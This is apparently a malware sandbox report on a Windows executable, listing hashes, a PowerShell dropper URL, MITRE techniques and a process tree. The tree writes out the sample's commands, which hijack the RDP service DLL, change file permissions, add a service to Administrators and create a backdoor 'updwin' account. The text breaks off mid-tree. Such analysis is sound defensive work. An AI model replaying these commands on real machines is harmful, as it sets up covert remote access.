22d15118aebbacd7e69a0dec6c29978bdd5a6ba24d9dbfbe055f0620e37d3c4a

Analysis

max time kernel
128s
max time network
116s
platform
windows7_x64
resource
win7v20201028
submitted
09-11-2020 20:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

22d15118aebbacd7e69a0dec6c29978bdd5a6ba24d9dbfbe055f0620e37d3c4a.exe
Size

3.4MB
MD5

442016bf1c6123cc40ff23c3637396c0
SHA1

cea8d515186cf94bdaa4f78bbf6f5b9db9125c9a
SHA256

22d15118aebbacd7e69a0dec6c29978bdd5a6ba24d9dbfbe055f0620e37d3c4a
SHA512

d95bc9ee83436c7967dbe59e6c5625737053adb074b45972a7855f03d3770d87edde332a8cf4aa02529330178be99005a7b0912e6929d284c685433694199727

Score

10^/10

discovery exploit persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blacklisted process makes network request 10 IoCs

Processes:

powershell.exe

flow	pid	process
6	1052	powershell.exe
8	1052	powershell.exe
10	1052	powershell.exe
11	1052	powershell.exe
13	1052	powershell.exe
15	1052	powershell.exe
17	1052	powershell.exe
19	1052	powershell.exe
21	1052	powershell.exe
23	1052	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

1336 icacls.exe
2028 takeown.exe
672 icacls.exe
916 icacls.exe
1684 icacls.exe
1664 icacls.exe
1600 icacls.exe
1596 icacls.exe
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

pid	process
1336	icacls.exe
2028	takeown.exe
672	icacls.exe
916	icacls.exe
1684	icacls.exe
1664	icacls.exe
1600	icacls.exe
1596	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Deletes itself 1 IoCs

Processes:

powershell.exe

pid process

1236 powershell.exe
Loads dropped DLL 2 IoCs

Processes:

pid process

1184
1184
Modifies file permissions 1 TTPs 8 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exe

pid process

916 icacls.exe
1684 icacls.exe
1664 icacls.exe
1600 icacls.exe
1596 icacls.exe
1336 icacls.exe
2028 takeown.exe
672 icacls.exe
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

pid	process
1236	powershell.exe

pid	process
1184
1184

pid	process
916	icacls.exe
1684	icacls.exe
1664	icacls.exe
1600	icacls.exe
1596	icacls.exe
1336	icacls.exe
2028	takeown.exe
672	icacls.exe

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Modifies service 2 TTPs 2 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\parameters	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Drops file in Windows directory 41 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7bd63cd8-2104-445b-b872-74b25f6bb67c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c8c98f86-232d-4488-a38a-a8451793dd0e	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarB5AE.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\Temporary Internet Files	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarB797.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarB7B8.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NUYW1GZC6O7O1XKLP9NF.temp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabB7B7.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fee14587-daed-4f12-ad16-485efa50e64c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_af13a0d0-3ed3-45b8-98a0-f841518eb630	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9ee1c35e-1029-4a9a-88af-9d89f9a353da	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarB764.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabB796.tmp	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_53395ee8-8a97-457d-8569-84c86017b2e1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c63bd23c-29f8-4b62-8ed7-3408cf9135e1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_36a5aeea-01ce-4898-b29b-211396e43e29	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabB51C.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabB775.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarB51D.tmp	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1ad12ccf-7586-443f-85ee-866ef398d22d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aee8ed88-8fea-4889-9e46-b95e37cccb7d	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabB763.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarB776.tmp	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f6786be1-0a4e-4a2b-86d9-02f2b983bc21	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabB57C.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarB57D.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabB5AD.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\CabB7D9.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TarB7DA.tmp	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe

Modifies data under HKEY_USERS 60 IoCs

Processes:

powershell.exeWMIC.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 005f8ec4ddb7d601	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\25\52C64B7E	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\My	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1376 reg.exe
Runs net.exe

pid	process
1376	reg.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	13	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	10	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exe

pid process

1236 powershell.exe
1236 powershell.exe
1236 powershell.exe
1236 powershell.exe
1236 powershell.exe
1052 powershell.exe
1052 powershell.exe
Suspicious behavior: LoadsDriver 5 IoCs

Processes:

pid process

464
1184
1184
1184
1184

pid	process
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
1052	powershell.exe
1052	powershell.exe

pid	process
464
1184
1184
1184
1184

Suspicious use of AdjustPrivilegeToken 15 IoCs

Processes:

powershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1236	powershell.exe
Token: SeRestorePrivilege	916	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1952	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1952	WMIC.exe
Token: SeAuditPrivilege	1952	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1952	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1952	WMIC.exe
Token: SeAuditPrivilege	1952	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1224	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1224	WMIC.exe
Token: SeAuditPrivilege	1224	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1224	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1224	WMIC.exe
Token: SeAuditPrivilege	1224	WMIC.exe
Token: SeDebugPrivilege	1052	powershell.exe

Suspicious use of WriteProcessMemory 127 IoCs

Processes:

22d15118aebbacd7e69a0dec6c29978bdd5a6ba24d9dbfbe055f0620e37d3c4a.exepowershell.execsc.exenet.execmd.execmd.exenet.exe

description	pid	process	target process
PID 1700 wrote to memory of 1236	1700	22d15118aebbacd7e69a0dec6c29978bdd5a6ba24d9dbfbe055f0620e37d3c4a.exe	powershell.exe
PID 1700 wrote to memory of 1236	1700	22d15118aebbacd7e69a0dec6c29978bdd5a6ba24d9dbfbe055f0620e37d3c4a.exe	powershell.exe
PID 1700 wrote to memory of 1236	1700	22d15118aebbacd7e69a0dec6c29978bdd5a6ba24d9dbfbe055f0620e37d3c4a.exe	powershell.exe
PID 1700 wrote to memory of 1236	1700	22d15118aebbacd7e69a0dec6c29978bdd5a6ba24d9dbfbe055f0620e37d3c4a.exe	powershell.exe
PID 1236 wrote to memory of 300	1236	powershell.exe	csc.exe
PID 1236 wrote to memory of 300	1236	powershell.exe	csc.exe
PID 1236 wrote to memory of 300	1236	powershell.exe	csc.exe
PID 300 wrote to memory of 1692	300	csc.exe	cvtres.exe
PID 300 wrote to memory of 1692	300	csc.exe	cvtres.exe
PID 300 wrote to memory of 1692	300	csc.exe	cvtres.exe
PID 1236 wrote to memory of 2028	1236	powershell.exe	takeown.exe
PID 1236 wrote to memory of 2028	1236	powershell.exe	takeown.exe
PID 1236 wrote to memory of 2028	1236	powershell.exe	takeown.exe
PID 1236 wrote to memory of 672	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 672	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 672	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 916	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 916	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 916	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1684	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1684	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1684	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1664	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1664	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1664	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1600	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1600	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1600	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1596	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1596	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1596	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1336	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1336	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 1336	1236	powershell.exe	icacls.exe
PID 1236 wrote to memory of 476	1236	powershell.exe	reg.exe
PID 1236 wrote to memory of 476	1236	powershell.exe	reg.exe
PID 1236 wrote to memory of 476	1236	powershell.exe	reg.exe
PID 1236 wrote to memory of 1376	1236	powershell.exe	reg.exe
PID 1236 wrote to memory of 1376	1236	powershell.exe	reg.exe
PID 1236 wrote to memory of 1376	1236	powershell.exe	reg.exe
PID 1236 wrote to memory of 880	1236	powershell.exe	reg.exe
PID 1236 wrote to memory of 880	1236	powershell.exe	reg.exe
PID 1236 wrote to memory of 880	1236	powershell.exe	reg.exe
PID 1236 wrote to memory of 980	1236	powershell.exe	net.exe
PID 1236 wrote to memory of 980	1236	powershell.exe	net.exe
PID 1236 wrote to memory of 980	1236	powershell.exe	net.exe
PID 980 wrote to memory of 1692	980	net.exe	net1.exe
PID 980 wrote to memory of 1692	980	net.exe	net1.exe
PID 980 wrote to memory of 1692	980	net.exe	net1.exe
PID 1236 wrote to memory of 1912	1236	powershell.exe	cmd.exe
PID 1236 wrote to memory of 1912	1236	powershell.exe	cmd.exe
PID 1236 wrote to memory of 1912	1236	powershell.exe	cmd.exe
PID 1912 wrote to memory of 1636	1912	cmd.exe	cmd.exe
PID 1912 wrote to memory of 1636	1912	cmd.exe	cmd.exe
PID 1912 wrote to memory of 1636	1912	cmd.exe	cmd.exe
PID 1636 wrote to memory of 540	1636	cmd.exe	net.exe
PID 1636 wrote to memory of 540	1636	cmd.exe	net.exe
PID 1636 wrote to memory of 540	1636	cmd.exe	net.exe
PID 540 wrote to memory of 1444	540	net.exe	net1.exe
PID 540 wrote to memory of 1444	540	net.exe	net1.exe
PID 540 wrote to memory of 1444	540	net.exe	net1.exe
PID 1236 wrote to memory of 1440	1236	powershell.exe	cmd.exe
PID 1236 wrote to memory of 1440	1236	powershell.exe	cmd.exe
PID 1236 wrote to memory of 1440	1236	powershell.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\22d15118aebbacd7e69a0dec6c29978bdd5a6ba24d9dbfbe055f0620e37d3c4a.exe
"C:\Users\Admin\AppData\Local\Temp\22d15118aebbacd7e69a0dec6c29978bdd5a6ba24d9dbfbe055f0620e37d3c4a.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1700

\??\c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe
-ep bypass -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
2⤵
- Deletes itself
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1236

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\grbppf0q\grbppf0q.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:300

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES313E.tmp" "c:\Users\Admin\AppData\Local\Temp\grbppf0q\CSCA2FC6678DAEE47CDA4BB873730E22194.TMP"
4⤵
PID:1692

C:\Windows\system32\takeown.exe
"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2028

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:672

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:916

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1684

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1664

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1600

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1596

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1336

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
3⤵
PID:476

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
3⤵
- Modifies service
- Modifies registry key
PID:1376

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
3⤵
PID:880

C:\Windows\system32\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
3⤵
- Suspicious use of WriteProcessMemory
PID:980

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
4⤵
PID:1692

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
3⤵
- Suspicious use of WriteProcessMemory
PID:1912

C:\Windows\system32\cmd.exe
cmd /c net start rdpdr
4⤵
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\system32\net.exe
net start rdpdr
5⤵
- Suspicious use of WriteProcessMemory
PID:540

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start rdpdr
6⤵
PID:1444

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
3⤵
PID:1440

C:\Windows\system32\cmd.exe
cmd /c net start TermService
4⤵
PID:1000

C:\Windows\system32\net.exe
net start TermService
5⤵
PID:812

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start TermService
6⤵
PID:1572

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
3⤵
PID:1952

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
3⤵
PID:880

C:\Windows\System32\cmd.exe
cmd /C net.exe user updwin Ghasar4f5 /del
1⤵
PID:916

C:\Windows\system32\net.exe
net.exe user updwin Ghasar4f5 /del
2⤵
PID:1604

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user updwin Ghasar4f5 /del
3⤵
PID:1724

C:\Windows\System32\cmd.exe
cmd /C net.exe user updwin ibcLpLqB /add
1⤵
PID:1600

C:\Windows\system32\net.exe
net.exe user updwin ibcLpLqB /add
2⤵
PID:1164

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user updwin ibcLpLqB /add
3⤵
PID:1052

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" updwin /ADD
1⤵
PID:880

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" updwin /ADD
2⤵
PID:460

C:\Windows\system32\net1.exe
